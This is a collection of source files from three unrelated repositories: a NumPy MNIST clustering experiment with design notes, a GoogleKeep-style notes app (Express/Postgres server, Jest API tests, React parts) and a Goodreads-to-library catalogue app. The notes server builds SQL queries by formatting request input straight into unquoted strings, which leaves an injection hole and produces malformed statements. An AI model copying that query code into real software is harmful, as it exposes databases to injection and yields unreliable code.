lsize = size*EPOCHS+1 # * Epochs if learning == False: x, y, size = convert(x_test, y_test) measure = Measure("Test: ", floating=False) lsize = size+1 for i in range(lsize): a.forward(x[i % size]) b.forward(a.out) measure.compare(b.out, y[i % size]) if learning: b.backward(y[i % size]) symetric_learn(a, b, i)    <file_sep>/bidirect_cnn.py """ BI-DIRECTIONAL CLUSTERING ========================= By adding a simplified binary CNN layer success goes to 97,01% to have this running fast enough the kernel-filter is composed of 5 pixels that are used as bits and translated to a number of 0..31 """ from keras.datasets import mnist # Keras is ONLY used for the dataset import numpy as np # calculation is NumPy-only from numba import jit @jit(nopython=True) def maxpool4(q, matrix9, maxo): step = 2 q2 = np.zeros((22 // step, 26 // step, maxo), dtype=np.float32) for y in range(22 // step): idx = y * 28 * step for x in range(26 // step): for i in matrix9: q2[y, x, q[idx + i]] += 1. idx += step return (q2[:, :, 1:].ravel() ** .02) / (len(matrix9) ** .02) class ConvNet: def __init__(self): index_bits = [(0, 0), (2, 0), (1, 1), (0, 2), (2, 2)] self.index_len = len(index_bits) self.kernel_idx = np.zeros((self.index_len, 4), dtype=np.int32) self.kernel_mul = np.zeros((self.index_len, 4), dtype=np.float32) for i, (ix, iy) in enumerate(index_bits): cnt = 0 for y in range(3): for x in range(3): v = 1. - ((ix - x) ** 2 + (iy - y) ** 2) ** .5 * .5 if v > (ix == 1) * .49 and cnt < 4: self.kernel_idx[i, cnt] = y * 28 + x self.kernel_mul[i, cnt] = v cnt += 1 self.kernel_mul[i] /= sum(self.kernel_mul[i]) n = 28 * 28 - 28 * 3 self.conv_index = np.stack([self.kernel_idx] * n) + (np.arange(n)[None][None]).T self.arange5 = np.arange(self.index_len)[None] self.matrix16 = ((np.arange(4))[None] + (np.arange(4)[None].T * 28)).ravel() def process(self, x): q1 = (((x[self.conv_index] * self.kernel_mul).sum(axis=-1) > .5) << self.arange5).sum(axis=-1) return maxpool4(q1, self.matrix16, 2 ** self.index_len) class DataSource: # one class for train and test def __init__(self, x, y): self.size = len(x) self.x = np.array((x / 255.).reshape(self.size, 28 * 28), dtype=np.float32) self.y = np.zeros((self.size, 10), dtype=np.float32) # convert index to pattern. examp.: 3 -> [0,0,0,1,..] self.y[range(self.size), y] = 1. self.cycle = 0 self.move = [3, 28 * 3, 2, 28 * 2, 0, 28, 28 * 2 + 3, 30] self.conv = ConvNet() def get_x(self, i): # mv = self.move[self.cycle] # self.cycle += 1 # self.cycle %= len(self.move) # return self.x[i % self.size][mv:mv+25*28] return self.conv.process(self.x[i % self.size]) def get_y(self, i): return self.y[i % self.size] class Measure: # this is just a class to measure True/False restus and finaly get a precentage def __init__(self, name, floating=True): self.name = name self.right = 0. self.counter = 0. self.counter_i = 0 self.floating = floating def reset(self): self.right = 0. self.counter = 0. self.counter_i = 0 def compare(self, seen, wanted): right = np.argmax(seen) == np.argmax(wanted) self.right += right self.counter += 1. self.counter_i += 1 if self.counter > 500 and self.floating: self.right *= .95 self.counter *= .95 if self.counter_i % 1000 == 0: # print every 10k print(self.name, self.counter_i, self.get_prediction()) def get_prediction(self): return self.right / self.counter class Layer: def __init__(self, id, n_layer, load): self.id, self.load_src, self.n_layer = id, load, n_layer self.n_dest = load(0).shape[0] self.full = np.ones((self.n_dest, self.n_layer), dtype=np.float32) * 0.75 # full_layer init. self.measure = Measure(self.id) def info(self): print(">", self.id) print(" SUCC: ", self.measure.get_prediction()) print(" IN : ", self.n_dest) def load(self, n): self.is_in = self.load_src(n) # load source activation = np.dot(self.is_in, self.full) # data DOT fully_connected_layer activation -= np.max(activation) * .95 # focus in top (higher value, faster learning curve) self.activation = np.maximum(activation / np.max(activation), 0.) # normalize & ReLU def store(self, pair_data, measure=False): self.new_data = np.dot(pair_data, self.full.T) # send back by full_weights.tranpose if measure: self.measure.compare(self.is_in, self.new_data) def learn(self, n, best, q=1.0): # update weights just for best matching lr = 0.04 * 4000 / (4000 + n) # learn rate decrease learning rate over time(n) # mixing of best-matching-pattern with actual pattern # + 0.986 making future activation more difficult to give all neurons a 'chance' self.full[:, best] *= lr * q * self.is_in - lr * 2. + 0.986 # *= acts like AND, -2 to neutralize +lr self.full[:, best] += lr * (2. - q) * self.is_in # += acts like OR class EntanglementLayer: def __init__(self, num, size, load_a, load_b): # size = amount of twin-neurons self.a = Layer(num, size, load=load_a) # picture self.b = Layer(num, size, load=load_b) # number def run(self, count, learn=True): for i in range(count): self.a.load(i) self.b.load(i) self.b.store(self.a.activation, measure=True) best = np.argmax( self.a.activation * 1.75 + self.b.activation) # final learning decision based on both sides if learn: self.a.learn(i, best, 1.0) self.b.learn(i, best) def info(self): self.b.info() # only measure output (x_train, y_train), (x_test, y_test) = mnist.load_data() train_data = DataSource(x_train, y_train) # 60k test_data = DataSource(x_test, y_test) # 10k layer = EntanglementLayer(0, 1000, train_data.get_x, train_data.get_y) print("Train...") layer.run(train_data.size * 2) # 3 epochs print("Run Actual Test Data") layer.a.load_src = test_data.get_x # switch from train to test.. layer.b.load_src = test_data.get_y layer.b.measure.reset() layer.b.measure.floating = False layer.run(test_data.size, learn=False) layer.info() <file_sep>/plan_for_going_deep.md Introduction ----------------- The evolution of ANN has developed on picture recognizing, mainly MNIST. In contrast, the evolution of biological NN has grown based on streams, experiences what is more like videos. No child is trained on batches of images, instead it plays with an object for some time. It is not about making a 1:1 copy of biology, but I argue that thinking of streams will bring another kind neuronal networks of, that has also different advantages and may be even more natural. A network that receive a constant stream of data can relay on being already semi- initialized. Traditional ANN start totally in blank and have to do a serial forward path, followed by a backward path for learning their weights. The described model can also be processed in random order, because every neuron can expect to have already semi- initialized neurons around it. This knowledge from previous frames is used to learn and recognize the actual frame by design. The model does not use back propagation, instead, neuron areas behave more like in k-mean, but not only from the input, instead a symmetrical way taking the output also into account. Concept ======= Activation from both sides -------------------------------------- A neuron is not only activated from its input but also from its output!!! Based in the intuition that we see also depends on what we expect. During processing a video for example, there is a prior frame with similar information. That way knowledge from prior frames help to understand the actual moment and even better. A neuron needs to know two things: - How it gets activated - How it gets better activated in the future. Normally the activation is the sum of its input processed by an activation function, and the better activation in the future is calculated from the expectation of its outputs. In contrast, at this model the activation comes from the sum of its activation of its inputs AND its outputs. As the neurons in an area compete who match the actual situation most, only the most matching neuron is taken and its connections are modified to match in the future even more. Similar to clustering with the k-mean algorithm, where the centroid positions is adjusted. There are two forces that shape the connections - Expectations - Clustering This model is nearly symmetric, as the clustering works also in both directions. A neuron may not only represent a common input pattern, but also represent a state expected by several following layers. No special order in the execution is required, even works great in random order. Divide layers into areas ---------------------------------- Layers are divided into areas. There is one winner neuron in each area. An activation function similar to softmax is applied to the neuron area/group. Imagine representing a 3-digit-number like 421, now if you want to represent all possible 3 digit numbers you would need 1000 neurons. But if you divide the layer into 3 areas with 10 neurons each, you can represent the three digit numbers with only 30 neurons. In each area one neuron is selected that matches the number most. Speaking in general: The amount of areas represents the amount of aspects that the layer should represent. The size of each area the amount of options per aspect. This can also be thought of a specific form of sparse activation. When you add more layers into a network two things can happen: 1. best case: different layers take different level of abstraction 2. worst case: additional layer tend to behave like pass through, maybe they refine the data, but also tend to lose information Forcing the layer into different areas is a way to enforce the second option, as the area is small and can only cover a partial aspect. This is nothing new: CNNs are actually local y connected less independent areas/groups of neurons. Some people initialize the weights in ANN similar using a Gauss distribution focused to a special point. Modifying just one neuron per layer-area ----------------------------------------------------------- Only the weights of the most active neuron are changed. Based in the intuition: If you see a frog, do not modify/destroy the knowledge about cars. Just the frog will be recognized in future better as a frog. This aspect in ANN is somehow covered by the ReLU function that is off when it does not reach a certain threshold. In this case the idea is applied a bit stronger. First I thought that I should modify several most active neurons. Experimenting turns out that the best results came up only modifying the best matching neuron in each area. This also results in an easier implementation. Train on variations instead of batches ------------------------------------------------------ When a baby grab a new toy, it likes to rotate the toy to see it from different angels. In this model learning is done that way: Objects need to be presented in different variations. This way the changes in the first layers get connected with abstractions already done in further layers. I made small animations from (fashion) MNIST of several frames. Make it work ========== On MNIST with a single layer I get 94%. Adding a fixed single simplified CNN layer gets it to 97%. So at this scale the concept seem to work quite well. The challenge is to scale it into a deep network. I got the network into a state where it does not collapse, but I feel that with all the stabilization in position flexibility has been removed that affect performance. Normalization -------------------- To calculate the activation the percentage that comes from input and output need to be normalized. A relation of 1:1 from the weights of the input side and the outputs side is enforced. `sum(activation_*weights_in)/sum(weights_in) + sum(activation_*weights_out)/sum(weights_out)` Bigger areas tend to have less probability of a neuron to be active then bigger once. For this reason each side is multiplied by their source area side. Ensure that all neurons are used ----------------------------------------------- There is a counter how offer each neuron has been selected/activated. The more a neuron has been selected, the more difficult it gets for it to be selected in the future. This is enforced that all neurons represent something. Activation function --------------------------- A ReLU function is applied to the activation of all neurons. Its scaling parameters are taken from the that area the neuron is located. The most active neuron is one. Other neurons that have high values between 0 and 1 and everything under a certain threshold is set to 0. As there are no negative connections and no negative activation the function can not react to the case, where all values are input values a zero. So this special case is caught and the output need to be ignored. Learning ------------- I take all MNIST pictures and find for each image the most closely related (pixel difference)... Then all images are lines up. That way several animations are generated. This are the animations used for training the network. For CIFAR variations are generated by transforming like stretching/rotating/zooming/.. All neurons are placed in a single 1d array ------------------------------------------------------------ Each neuron comes with an array of indexes to its source neurons and destination neurons, including another index to the corresponding weights. Simple CNN ----------------- Normally a whole layer share a single kernel, but we use a kernel for neuron. Then the max pooling is applied and the indexes are moved, with a pre-calculated move-table. Having individual kernels result in a little slower training at the beginning, but is more flexible, when different shapes are typical in different areas. Specific connections vs fully connected -------------------------------------------------------- The connections are bidirectional. So both neurons point to the same weight. This is more overhead at the beginning. But during the training most weights tend to go to zero and can be pruned, resulting in a more efficient network at the end. The connections are sorted slowly with bubble sort. After some time when the weights have been established Calculating weights ---------------------------- Weights recalculation is only applied to the winner neuron that got most activation in its area. This reduces weight recalculation 1/(area size). Progress ======== Things I wonder ----------------------- - The network has to avoid vanishing. If the network gets into a state where all neurons are activated 50% all the time it can not have a (clearly) represent information. - The network has to avoid too much concentration. If activation gets to concentrated on few neurons, most of the network will neither represent information. Both problems exist in the value of a neuron, it its distribution at any given moment, and during time. To force a neuron activation into a range, an activation function is used. To force a special distribution a function like softmax is applied to an area. Avoiding that the same neurons are active/deactive during all the time, a timer is used. The more time has passed the easier the neuron gets activated again. I feel that there is too much external forcing in the network instead of natural balance. But forcing the network (too much) destroys information. Neurons are forced to represent something, but in the worst case this is noise. The activation influences the weights(distribution). The weights influence the activation (distribution) <file_sep>/bidirect.py from keras.datasets import mnist # Keras is ONLY used for the dataset import numpy as np # calculation is NumPy-only from mytools import DataSource, Measure class Layer: def __init__(self, id, n_layer, load): self.id, self.load_src, self.n_layer = id, load, n_layer self.n_dest = load(0).shape[0] self.full = np.ones((self.n_dest, self.n_layer), dtype=np.float32) * 0.75 # full_layer init. self.measure = Measure(self.id) def info(self): print(">", self.id) print(" SUCC: ", self.measure.get_prediction()) print(" IN : ", self.n_dest) def load(self, n): self.is_in = self.load_src(n) # load source activation = np.dot(self.is_in, self.full) # data DOT fully_connected_layer activation -= np.max(activation) * .95 # focus in top (higher value, faster learning curve) self.activation = np.maximum(activation / np.max(activation), 0.) # normalize & ReLU def store(self, pair_data, measure=False): self.new_data = np.dot(pair_data, self.full.T) # send back by full_weights.tranpose if measure: self.measure.compare(self.is_in, self.new_data) def learn(self, n, best, q=1.0): # update weights just for best matching lr = 0.04 * 4000 / (4000 + n) # learn rate decrease learning rate over time(n) # mixing of best-matching-pattern with actual pattern # + 0.986 making future activation more difficult to give all neurons a 'chance' self.full[:, best] *= lr *q* self.is_in -lr*2.+ 0.986 # *= acts like AND, -2 to neutralize +lr self.full[:, best] += lr *(2.-q)* self.is_in # += acts like OR class EntanglementLayer: def __init__(self, num, size, load_a, load_b): # size = amount of twin-neurons self.a = Layer(num, size, load=load_a) # picture self.b = Layer(num, size, load=load_b) # number def run(self, count, learn=True): for i in range(count): self.a.load(i) self.b.load(i) self.b.store(self.a.activation, measure=True) best = np.argmax(self.a.activation * 1.75 + self.b.activation) # final learning decision based on both sides if learn: self.a.learn(i, best, 1.2) self.b.learn(i, best) def info(self): self.b.info() # only measure output (x_train, y_train), (x_test, y_test) = mnist.load_data() train_data = DataSource(x_train, y_train) # 60k test_data = DataSource(x_test, y_test) # 10k layer = EntanglementLayer(0, 784, train_data.get_x, train_data.get_y) print("Train...") layer.run(train_data.size * 3) # 3 epochs print("Run Actual Test Data") layer.a.load_src = test_data.get_x # switch from train to test.. layer.b.load_src = test_data.get_y layer.b.measure.reset() layer.b.measure.floating = False layer.run(test_data.size, learn=False) layer.info() <file_sep>/README.md Happy for any feedback at livint at posteo dot de !!! # Bi-directional Clustering - Numpy Only MNIST bi directional clustering as prove of concept. Exploring alternatives to backpropagation. ... > 95% on MINST with only one layer and no image augmentation/preparation/variation and no conv. Code focus on simplicity. Main calculation is done in a few lines of NumPy. Main goal is to prove that a neuron does not only need to be defined on how it should behave (backpropagation) but also on how it could behave by just clustering the input. This clustering can be applyed forward and backward. How it works ------------ - learning is just works by adjusting weighs to activations. - only the neuron that most matches is adjusted. - "matches" is defined by highest activation from the previous layer AND the next layer. Concept Architecture/Features --------------------------- - apply logic symmetrically - only learn the neuron with most focus, for faster learning - only small part to adjust result in much faster trainging. - BackPropFree, RandomFree, BatchTrainFree, CrazyMathFree - only healthy and natural ingredient's. - backprop is allays changing everything (or a lot) resulting bad at Plastizitäts-Stabilitäts-Dilemma this is tried to fix with batch-training what require shuffled data. - backprop is telling what should be. instead we make a (adjustable) balance of what should be and what could be. - k-mean like for segmentation (in both directions!) AND `what should be.` - crazy-math-free: only ADD, SUB, MUL, MAX, MIN and DIV not required in inner loops Thanks & Credits ---------------- - Biopsychology: <NAME>, <NAME>, <NAME> - Progamming: demoscene, particle system, k-mean - Networks: ANN, CNN. ReLU, Conway's Game of Life - Tools: NumPy, Python, MNIST Dataset
b3f2767601ec4913e5b580962903da1eacdc85ad
[ "Markdown", "Python" ]
6
Python
livinter/bi_direct_cluster
a148d3edb22fe7a9bf2daa90f57b273a8fcb3cb2
e2b28c3750d762159bd8f94eb9b9b7f5e03e4d35
refs/heads/master
<repo_name>GAnjali/GoogleKeep<file_sep>/server/database/index.js import pg from 'pg'; const Pool = pg.Pool; const env = process.env.NODE_ENV ? process.env.NODE_ENV : "development"; let pool; if(env === "development"){ pool = new Pool({ user: 'postgres', host: 'localhost', database: 'googlekeep_db', password: '<PASSWORD>', port: 5432, }); }else{ pool = new Pool({ user: 'postgres', host: 'localhost', database: 'googlekeep_testdb', password: '<PASSWORD>', port: 5433, }); } export default pool;<file_sep>/client/src/AppConstants.js export const KEEP = "Keep";<file_sep>/server/__test__/noteapi.test.js import app from "./../server"; import request from "supertest"; import pool from "../database/index"; describe('Test the File endpoints', () => { beforeEach(() => { return pool.query('START TRANSACTION'); }); afterEach(() => { return pool.query('ROLLBACK'); }); describe("Testing the getNotes API", () => { it("should get response as No notes found with status 404 when there are no notes available in db", async () => { const res = await request(app).get('/notes'); expect(res.statusCode).toEqual(404); expect(res.body.message).toEqual("Notes not found!") }); it("should get response as Notes found with status code 200 when you insert note in db", async () => { await pool.query("insert into notes(title,content) values('title', 'content')").then(async () => { const res = await request(app).get('/notes'); expect(res.statusCode).toEqual(200); expect(res.body.message).toEqual("Notes retrieved!"); }) }); }); describe("Testing the getNotesByID API", () => { it("should get response as Note not found with status 404 when there are no note available with given ID", async () => { const res = await request(app).get('/notes/1'); expect(res.statusCode).toEqual(404); expect(res.body.message).toEqual("Note not found with id: 1") }); it("should get response as Note found with status code 200 when there exists note with given id", async () => { await pool.query("INSERT INTO notes(id,title,content) VALUES(1,'hell','hi') RETURNING *").then(async () => { const res = await request(app).get('/notes/1'); expect(res.statusCode).toEqual(200); expect(res.body.message).toEqual("Note retrieved!"); }) }); it("should get response status 400 given invalid id", async () => { const res = await request(app).get('/notes/&'); expect(res.statusCode).toEqual(400); expect(res.body.message).toEqual("Invalid note ID!"); }); }); describe("Testing the addNote API", () => { it("should get response with 201 when called addNote with note", async () => { const newNote = {title: 'title', content: 'content'}; const res = await request(app).post('/notes').send(newNote); expect(res.status).toEqual(201); expect(res.body.message).toEqual("Note created!"); }); it("should get response with 400 when called addNote with out input note", async () => { const res = await request(app).post('/notes').send({}); expect(res.status).toEqual(400); expect(res.body.message).toEqual("Invalid input note to create"); }); }); describe("Testing the updateNote API", () => { it("should get response with 200 when called updateNote with note", async () => { const newNote = {id: 1, title: 'title', content: 'content'}; await pool.query(`INSERT INTO notes(id,title,content) VALUES('${newNote.id}','${newNote.title}','${newNote.content}')`).then(async () => { const noteToUpdate = {id: 1, title: 'updateTitle', content: 'updateContent'}; const res = await request(app).put('/notes/1').send(noteToUpdate); expect(res.statusCode).toEqual(200); expect(res.body.message).toEqual("Note updated!"); }); }); it("should get response with 404 when called updateNote with id which does not exist in notes", async () => { const noteToUpdate = {id: 1, title: 'updateTitle', content: 'updateContent'}; const res = await request(app).put('/notes/1').send(noteToUpdate); expect(res.statusCode).toEqual(404); expect(res.body.message).toEqual("Note not found with id: 1"); }); it("should get response with 404 when called updateNote with invalid note id as param", async () => { const noteToUpdate = {id: 'A', title: 'updateTitle', content: 'updateContent'}; const res = await request(app).put('/notes/A').send(noteToUpdate); expect(res.statusCode).toEqual(400); expect(res.body.message).toEqual("Invalid note ID!"); }); }); describe("Testing the deleteNote API", () => { it("should get response with 200 when called deletedNote with note id", async () => { const newNote = {id: 1, title: 'title', content: 'content'}; await pool.query(`INSERT INTO notes(id,title,content) VALUES('${newNote.id}','${newNote.title}','${newNote.content}')`).then(async () => { const res = await request(app).delete('/notes/1'); expect(res.statusCode).toEqual(200); expect(res.body.message).toEqual("Note deleted!"); }); }); it("should get response with 404 when called deleteNote with id which does not exist in Database", async () => { const res = await request(app).delete('/notes/1'); expect(res.statusCode).toEqual(404); expect(res.body.message).toEqual("Note not found with id: 1"); }); it("should get response with 404 when called deleteNote with invalid note id as param", async () => { const res = await request(app).put('/notes/A'); expect(res.statusCode).toEqual(400); expect(res.body.message).toEqual("Invalid note ID!"); }); }); });<file_sep>/client/src/Pages/MainSection.js import React, {Component} from 'react'; import {getNotes} from "../Util/ApiHandler"; import ResponseHandler from "../Util/ResponseHandler"; class MainSection extends Component { constructor(props) { super(props); this.state = { notes: [], error: false }; } componentDidMount() { this.loadData(); } loadData = async () => { const getNotesResponse = ResponseHandler.getResponse(await getNotes()); if (getNotesResponse.status === "success") { this.setState({ notes: getNotesResponse.data }); } else this.setState({ error: true }) }; render() { console.log(this.state); const listNotes = this.state.notes != null ? this.state.notes.map((note) => <li key={note.title}>note.content</li>) : null; return ( <> <div class={"note"}> <input className={"title"}></input> <input className={"content"}></input> </div> </> ) } } export default MainSection;<file_sep>/server/server.js import express from 'express'; import {getAllNotes, getOneNote, addNote, updateNote, deleteNote} from './api/controller/notecontroller'; import cors from 'cors'; const app = express(); app.use(express.json()); app.use(cors()); process.env.NODE_ENV = "development"; app.get('/notes', getAllNotes); app.get('/notes/:id', getOneNote); app.post('/notes', addNote); app.put('/notes/:id', updateNote); app.delete('/notes/:id', deleteNote); app.listen(3000); export default app;<file_sep>/server/api/controller/notecontroller.js import ResponseHandler from "../util/responseHandler"; import {getAll, getOne, insert, update, deleteOne} from "../service/noteservice"; import { INVALID_NOTE, INVALID_NOTE_ID, NOTE_CREATED, NOTE_DELETED, NOTE_NOT_FOUND_WITH_ID, NOTE_RETRIEVED, NOTE_UPDATED, NOTES_NOT_FOUND, NOTES_RETRIEVED } from "../util/ServerConstants"; import util from 'util'; const responseHandler = new ResponseHandler(); const getAllNotes = async (request, response) => { try { const notes = await getAll(); if (notes.length > 0) { responseHandler.setSuccess(200, NOTES_RETRIEVED, notes); } else { responseHandler.setSuccess(404, NOTES_NOT_FOUND); } return responseHandler.send(response); } catch (error) { responseHandler.setError(400, error); return responseHandler.send(response); } }; const getOneNote = async (request, response) => { const {id} = request.params; if (!Number(id)) { responseHandler.setError(400, INVALID_NOTE_ID); return responseHandler.send(response); } try { const note = await getOne(id); if (note.length > 0) responseHandler.setSuccess(200, NOTE_RETRIEVED, note); else responseHandler.setSuccess(404, util.format(NOTE_NOT_FOUND_WITH_ID, id)); return responseHandler.send(response); } catch (error) { responseHandler.setError(400, error); return responseHandler.send(response); } }; const addNote = async (request, response) => { if ((request.body.title == null || request.body.title == undefined) && (request.body.content == null || request.body.content == undefined)) { responseHandler.setError(400, INVALID_NOTE); return responseHandler.send(response); } const note = {title: request.body.title, content: request.body.content}; try { await insert(note).then(() => { responseHandler.setSuccess(201, NOTE_CREATED, note); }); return responseHandler.send(response); } catch (error) { responseHandler.setError(400, error); return responseHandler.send(response); } }; const updateNote = async (request, response) => { const note = {id: request.params.id, title: request.body.title, content: request.body.content}; if (!Number(note.id)) { responseHandler.setError(400, INVALID_NOTE_ID); return responseHandler.send(response); } try { const updatedFile = await update(note); if (updatedFile == null) responseHandler.setSuccess(404, util.format(NOTE_NOT_FOUND_WITH_ID, note.id)); else responseHandler.setSuccess(200, NOTE_UPDATED, note); return responseHandler.send(response); } catch (error) { responseHandler.setError(400, error); return responseHandler.send(response); } }; const deleteNote = async (request, response) => { const note = {id: request.params.id, title: request.body.title, content: request.body.content}; if (!Number(note.id)) { responseHandler.setError(400, INVALID_NOTE_ID); return responseHandler.send(response); } try { const deletedNote = await deleteOne(note); if (deletedNote == null) responseHandler.setSuccess(404, util.format(NOTE_NOT_FOUND_WITH_ID, note.id)); else responseHandler.setSuccess(200, NOTE_DELETED); return responseHandler.send(response); } catch (error) { responseHandler.setError(400, error); return responseHandler.send(response); } }; export {getAllNotes, getOneNote, addNote, updateNote, deleteNote};<file_sep>/server/api/service/noteservice.js import db from '../../database'; import {DELETE_NOTE, GET_ALL_NOTES, GET_ONE_NOTE, INSERT_NOTE, UPDATE_NOTE} from "../util/ServerConstants"; import util from 'util'; const getAll = async () => { try { const response = await db.query(GET_ALL_NOTES); return response.rows; } catch (e) { return e; } }; const getOne = async (id) => { try { const response = await db.query(util.format(GET_ONE_NOTE, id)); return response.rows; } catch (e) { return e; } }; const insert = async (note) => { try { await db.query(util.format(INSERT_NOTE, note.title, note.content)); } catch (e) { return e; } }; const update = async (note) => { try { const noteToUpdate = await db.query(util.format(GET_ONE_NOTE, note.id)).then((response) => { return response.rows; }); if (noteToUpdate.length == 0) return null; await db.query(util.format(UPDATE_NOTE, note.title, note.content, note.id)); return note; } catch (e) { return e; } }; const deleteOne = async (note) => { try { const noteToDelete = await db.query(util.format(GET_ONE_NOTE, note.id)).then((response) => { return response.rows; }); if (noteToDelete.length == 0) return null; await db.query(util.format(DELETE_NOTE, note.id)); return note; } catch (e) { return e; } }; export {getAll, getOne, insert, update, deleteOne};<file_sep>/server/api/util/ServerConstants.js //Query constants export const GET_ALL_NOTES = 'SELECT * FROM notes'; export const GET_ONE_NOTE = 'SELECT * FROM notes WHERE id = %d'; export const INSERT_NOTE = 'INSERT INTO notes(title,content) VALUES (%s,%s)'; export const UPDATE_NOTE = 'UPDATE notes SET title = %s,content = %s WHERE id = %d'; export const DELETE_NOTE = 'DELETE FROM notes WHERE id = %d'; //API response message constants export const NOTES_RETRIEVED = "Notes retrieved!"; export const NOTES_NOT_FOUND = "Notes not found!"; export const INVALID_NOTE_ID = "Invalid note ID!"; export const NOTE_RETRIEVED = "Note retrieved!"; export const INVALID_NOTE = "Invalid input note to create"; export const NOTE_NOT_FOUND_WITH_ID = "Note not found with id: %d"; export const NOTE_CREATED = "Note created!"; export const NOTE_UPDATED = "Note updated!"; export const NOTE_DELETED = "Note deleted!"; <file_sep>/client/src/Pages/Header.js import {KEEP} from "./../AppConstants"; import keepIcon from "../styles/keepIcon.png"; import React from "react"; const Header = () => { return ( <nav className="header"> <img src={keepIcon} className={"keepIcon"}/> <h2>{KEEP}</h2> </nav> ); }; export default Header;
4e3c19dc505cbb2de8fa842c6cf397dfef4d49e0
[ "JavaScript" ]
9
JavaScript
GAnjali/GoogleKeep
0e25fdff74af08f72125d4f9f545dd4cf57a5c5d
1fdf297390be561c75d2775bb93671a4e2cabb08
refs/heads/master
<file_sep>var request = require('request'); var xml2js = require('xml2js'); module.exports = (function goodreads (){ var _userId = 16169391; var _ApiKey = '<KEY>'; var _shelf = 'to-read'; var _urlEndpoint = 'http://goodreads.com/review/list/' + _userId + '?shelf='+_shelf+'&v=2&key=' + _ApiKey; return { getBooks:function(callback){ request.get(_urlEndpoint,function(err,res,body){ console.log('GET ' + _urlEndpoint + '?v=2&key=' + _ApiKey + ' : %s', res.statusCode); xml2js.parseString(body, function(err,result){ var books = []; result.GoodreadsResponse.reviews[0].review.forEach(function(book){ books.push(book.book[0]); }); callback(books); }) }) } } }())<file_sep>var express = require('express'); var path = require('path'); var favicon = require('serve-favicon'); var logger = require('morgan'); var cookieParser = require('cookie-parser'); var bodyParser = require('body-parser'); var mongo = require('mongodb'); var goodreads = require('./lib/goodreads') var models = require('./models'); var mongoose = require('mongoose'); var searchCatalog = require('./lib/search-catalog'); var routes = require('./routes/index'); var users = require('./routes/users'); var last_update_time = 0; var app = express(); mongoose.connect('mongodb://localhost/goodlib'); var _db = mongoose.connection; // view engine setup app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'jade'); // uncomment after placing your favicon in /public //app.use(favicon(__dirname + '/public/favicon.ico')); app.use(logger('dev')); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); app.use(cookieParser()); app.use(express.static(path.join(__dirname, 'public'))); app.use(function(req, res, next){ req.models = models; next(); }) app.use(function(req, res, next){ console.log('last updated at: %s', last_update_time); if(last_update_time === 0 || (new Date().getTime() - last_update_time) > 120000){ updateBooks(); last_update_time = new Date().getTime() } next(); }) app.use('/', routes); app.use('/users', users); // catch 404 and forward to error handler app.use(function(req, res, next) { var err = new Error('Not Found'); err.status = 404; next(err); }); // error handlers // development error handler // will print stacktrace if (app.get('env') === 'development') { app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, error: err }); }); } // production error handler // no stacktraces leaked to user app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, error: {} }); }); _db.once('open',function(){ console.log('connected to databases') //updateBooks(); }) function updateBooks(callback){ callback = callback || function(){}; console.log('Updating books') goodreads.getBooks(function(books){ models.Book.remove(function(){ console.log("Clearing all books"); books.forEach(function(bookInfo){ console.log('checking %s', bookInfo.title[0]); var book = new models.Book({ title:bookInfo.title[0], isbn:bookInfo.isbn[0], isbn13:bookInfo.isbn13[0] }); book.save(function(err, book){ if(err){throw err;} updateBookLibraries(book) console.log("%s saved", book.title) }) }) }); }); } function updateBookLibraries(book){ //console.log(book); console.log('searching catalog for %s, [%s]', book.title,book.isbn13); book.libraries = []; searchCatalog(book.isbn13, function(catalogResults){ console.log('found %s libraries for %s', catalogResults.length, book.title); catalogResults.forEach(function(libraryInfo){ book.libraries.push(libraryInfo); }); book.save(function(err, book){ if(err){throw err;} }); }) } module.exports = app; <file_sep>var express = require('express'); var router = express.Router(); /* GET home page. */ router.get('/', function(req, res, next) { console.log('test'); res.render('index', { title: 'Find some books!' }); }); router.get('/books', function(req, res, next) { req.models.Book.find(function(err, books){ if(err){throw err;} res.render('books', { title: 'Books', books: books}); }) }); router.get(/^\/books\/(\w+)\/?$/, function(req, res, next) { req.models.Book.findOne({isbn13:req.params[0]}, function(err, book){ if(err){throw err;} res.render('book', {book:book}) }) }); router.get('/libraries', function(req, res, next){ console.log(req.cookies); var recentLib; if(req.cookies && req.cookies.recentLib){ recentLib = req.cookies.recentLib; }else{ recentLib = '' } req.models.Book.distinct('libraries.name',function(err,result){ if(err){throw err;} res.render('libraries', {title:'Libaries', libraries:result,recentLib:recentLib}); }) }) router.get(/^\/libraries\/(\w+)\/?$/, function(req, res, next){ var library ={ name: req.params[0] }; res.header('Set-Cookie','recentLib='+library.name); req.models.Book.find({'libraries.name':library.name},function(err,result){ if(err){throw err;} result.forEach(function(book){ book.libraries.forEach(function(bookLibrary){ if(bookLibrary.name == library.name){ book.thisLibrary = bookLibrary; } }); }); res.render('library', {title:library.name, books:result}); }) }) module.exports = router; <file_sep># good-lib A connector between Goodreads and the Minuteman Library network in Massachusetts <file_sep>var mongoose = require('mongoose'); var _librarySchema = mongoose.Schema({ name: String, section:String, avail:Boolean, callNum:String }); var _bookSchema = mongoose.Schema({ title: String, isbn: String, isbn13: String, lastUpdated: {type:Date,default: Date.now}, libraries:[_librarySchema] }); module.exports = { Book: mongoose.model('Book', _bookSchema), Library: mongoose.model('Library', _librarySchema), }
be4592bf4aecbb2de1dec489375654a333ff04bb
[ "JavaScript", "Markdown" ]
5
JavaScript
ekbarber/good-lib
c160443f8dcbd81764daf40a54b6dd04029e9224
e7fc174d71c89dd6b7b46812bd31be7de972bbab
refs/heads/master
